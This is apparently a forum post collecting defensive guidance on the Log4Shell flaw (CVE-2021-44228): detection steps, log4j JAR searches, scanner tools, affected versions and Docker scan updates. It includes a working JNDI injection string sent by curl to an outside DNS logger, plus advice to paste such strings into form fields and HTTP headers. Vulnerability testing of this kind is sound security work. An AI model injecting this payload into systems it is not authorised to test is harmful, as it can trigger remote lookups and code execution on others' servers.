hwzlite
Master Member
- Joined
- Jan 27, 2007
- Messages
- 3,044
- Reaction score
- 3,167
Comprehensive write-out @ Zero Day in Ubiquitous Apache Log4j Tool Under Active Attack 
Excellence video coverage by Lawrence:
If-In-Doubt-Sanity Check Cheatsheet :
Excellence video coverage by Lawrence:
If-In-Doubt-Sanity Check Cheatsheet :
How to identify if your server is vulnerable.
Using a DNS logger (such as dnslog.cn), you can generate a domain name and use this in your test payloads:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://xxx.dnslog.cn/a}'
Refreshing the page will show DNS queries which identify hosts who have triggered the vulnerability.
CAUTION
While dnslog.cn has become popular for testing log4shell, we advise caution. When testing sensitive infrastructure, information sent to this site could be used by its owner to catalogue and later exploit it.
If you wish to test more discretely, you may setup your own authoritative DNS server for testing.
This site can help you test whether your applications are vulnerable to Log4Shell (CVE-2021-44228). Here's how to use it:
You simply copy and paste the generated JNDI syntax (the code block ${jndi[:]ldap[:]//.... presented below) into anything (application input boxes, frontend site form fields, logins such as username inputs, or if you are bit more technical, even User-Agent or X-Forwarded-For or other customizable HTTP headers).
Check the results page to see if it received any connection, and verify the detected IP address and timestamp, to correlate with when you tested any service.
If you see an entry, a connection was made and the application you tested is vulnerable.
The presence of JAR files belonging to the log4j library can indicate an application is potentially susceptible to CVE-2021-44228. The specific files to search for should match the following following pattern:
Depending on the installation method, the location of the matching JAR file may also give indications as to which application is potentially vulnerable. For example, on Windows, if the file is located in C:\Program Files\ApplicationName\log4j-core-version.jar it indicates ApplicationName should be investigated. On Linux, the lsof utility can show which processes currently have the JAR file in use and can be run via the following syntax:
log4j-core-*.jar;
lsof /path/to/log4j-core-version.jar;
....Essentially, in the Java world, you can have a JAR nested in a JAR nested in a JAR. This creates many layers that all need to be investigated. Just looking at the JARs your project pulls in directly may not be enough, since Log4j could be hiding inside of another JAR file!
Scan for Log4j with open source tools
There are two open source tools led by Anchore that have the ability to scan a large number of packaged dependency formats, identify their existence, and report if they contain vulnerabilities. In this case being able to scan JAR files, especially nested layers of JAR files, is what we want. Syft generates a software bill of materials (SBOM) and Grype is a vulnerability scanner. Both of these tools are able to inspect multiple nested layers of JAR archives to uncover and identify versions of Log4j.
Am I vulnerable?
The vulnerable versions of Log4j 2 are versions 2.0 to version 2.14.1 inclusive. The first fixed version is 2.15.0. We strongly encourage you to update to the latest version if you can. If you are using a version before 2.0, you are also not vulnerable.
You may not be vulnerable if you are using these versions, as your configuration may already mitigate this (see the Mitigations section below), or the things you log may not include any user input. This may be difficult to validate however without understanding all the code paths that may log in detail, and where they may get input from. So you probably will want to upgrade all code using vulnerable versions.
The configuration for the docker scan command previously shipped in Docker Desktop versions 4.3.0 and earlier unfortunately do not pick up this vulnerability on scans. Please update to Docker Desktop 4.3.1+ with docker scan 0.11.0+, which we released today, 11 December 2021.
If you are using docker scan from Linux you can download binaries from GitHub and install in the plugins directory as explained in the instructions here. We will soon update the Linux CLI version to include the updated docker scan.
Last edited: